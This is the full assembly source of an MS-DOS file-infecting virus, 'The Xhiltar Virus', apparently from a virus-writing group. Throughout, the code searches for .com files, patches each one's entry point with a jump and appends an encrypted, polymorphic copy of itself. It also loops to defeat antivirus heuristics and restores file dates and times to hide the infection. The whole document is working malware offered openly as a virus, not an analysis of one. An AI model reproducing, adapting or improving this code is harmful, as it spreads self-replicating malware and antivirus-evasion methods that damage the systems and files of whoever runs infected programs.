; The Xhiltar Virus 
; By Arsonic[Codebreakers] 
; Type: Runtime Appending Com Infector 
; Encrypted: Yes 
; Polymorphic: Yes 
; Time/Date: Yes 
; add Attrib: Yes 
; Changes Directory's: Yes (dotdot method) 
; Anti-Anti-Virus: Yes (anti-heuristics) 
db 0e9h,0,0 
start: 
call delta 
delta: 
pop bp 
sub bp,offset delta 
mov cx,0ffffh                   ;fuck up those heristics! 
fprot_loopy: 
jmp back 
mov ax,4c00h 
int 21h 
back: 
loop fprot_loopy 
lea si,[bp+hidden_start] 
mov di,si 
mov cx,end - hidden_start 
call encryption 
jmp  hidden_start 
value db 0 
encryption:                       ;encryption routine 
call poly 
encrypt: 
lodsb                         ;1 
_1stDummy: 
nop                           ;1 = +1 
xor al,byte ptr[bp+value]     ;4 
_2ndDummy: 
nop                           ;1 = +6 
stosb                         ;1 
_3rdDummy: 
nop                           ;1 = +8 
loop encrypt                  ;2 
_4thDummy: 
nop                           ;1 = +11 
ret 
hidden_start: 
mov cx,3 
mov di,100h                    ;restore the first 3 bytes 
lea si,[bp+buff] 
rep movsb 
find_first:                    ;find first file 
mov  ah,4eh 
find_next: 
lea  dx,[bp+filemask] 
xor  cx,cx                     ;with 0 attrib's.. 
int  21h 
jnc  infect 
close: 
push 100h 
ret 
infect: 
mov ax,3d02h                   ;open file 
mov dx,9eh 
int 21h 
xchg bx,ax 
mov ax,5700h                   ;get time/date 
int 21h 
push dx                        ;save the values 
push cx 
in   al,40h                    ;get new encrypt value from system clock 
mov  byte ptr [bp+value],al 
mov ah,3fh                     ;read 3 bytes from the file.. too 
mov cx,3                       ;be replaced with a jump to the virus 
lea dx,[bp+buff] 
int 21h 
mov ax,word ptr [80h + 1ah]    ;check for infect 
sub ax,end - start + 3 
cmp ax,word ptr[bp+buff+1] 
je close_file 
mov ax,word ptr[80h + 1ah] 
sub ax,3 
mov word ptr[bp+three+1],ax 
mov ax,4200h                   ;goto start of file 
xor cx,cx 
xor dx,dx 
int 21h 
mov ah,40h                     ;write the 3 byte jump 
lea dx,[bp+three] 
mov cx,3 
int 21h 
mov ax,4202h                   ;goto end of file 
xor cx,cx 
xor dx,dx 
int 21h 
mov ah,40h                     ;write the unencrypted area 
lea dx,[bp+start] 
mov cx,hidden_start - start 
int 21h 
lea si,[bp+hidden_start]       ;encrypt the virus 
lea di,[bp+end] 
mov cx,end - hidden_start 
call encryption 
mov ah,40h                     ;write encrypted area 
lea dx,[bp+end] 
mov cx,end - hidden_start 
int 21h 
close_file: 
mov ax,5701h                   ;restore time/date 
pop cx                         ;with saved values 
pop dx 
int 21h 
mov ah,3eh                     ;close file 
int 21h 
mov  ah,4Fh                    ;find next file 
jmp find_next 
poly: 
call random                    ;get random value 
mov [bp+_1stDummy],dl          ;write random do-nothing call to encrypt 
call random 
mov [bp+_2ndDummy],dl 
call random 
mov [bp+_3rdDummy],dl 
call random 
mov [bp+_4thDummy],dl 
ret 
garbage: 
nop       ; no operation instruction 
clc       ; Clear Carry 
stc       ; Set Carry 
sti       ; Set Interuppt Flag 
cld       ; Clear Direction Flag 
cbw       ; Convert byte to word 
inc  dx   ; increase dx 
dec  dx   ; decrease dx 
lahf      ; loads AH with flags 
random: 
in ax,40h 
and ax,7 
xchg bx,ax 
add  bx,offset garbage 
add  bx,bp 
mov  dl,[bx] 
ret 
filemask db '*.com',0 
three    db 0e9h,0,0 
buff     db 0cdh,20h,0 
dotdot   db '..',0 
author   db 'Arsonic[Codebreakers]',13,10,'$' 
virus    db 'the XHiLTAR virus',13,10,'$' 
         db 'I LOVE U LISA',13,10,'$' 
         db 'I LOVE U SOOOO MUCH!',13,10,'$' 
end: 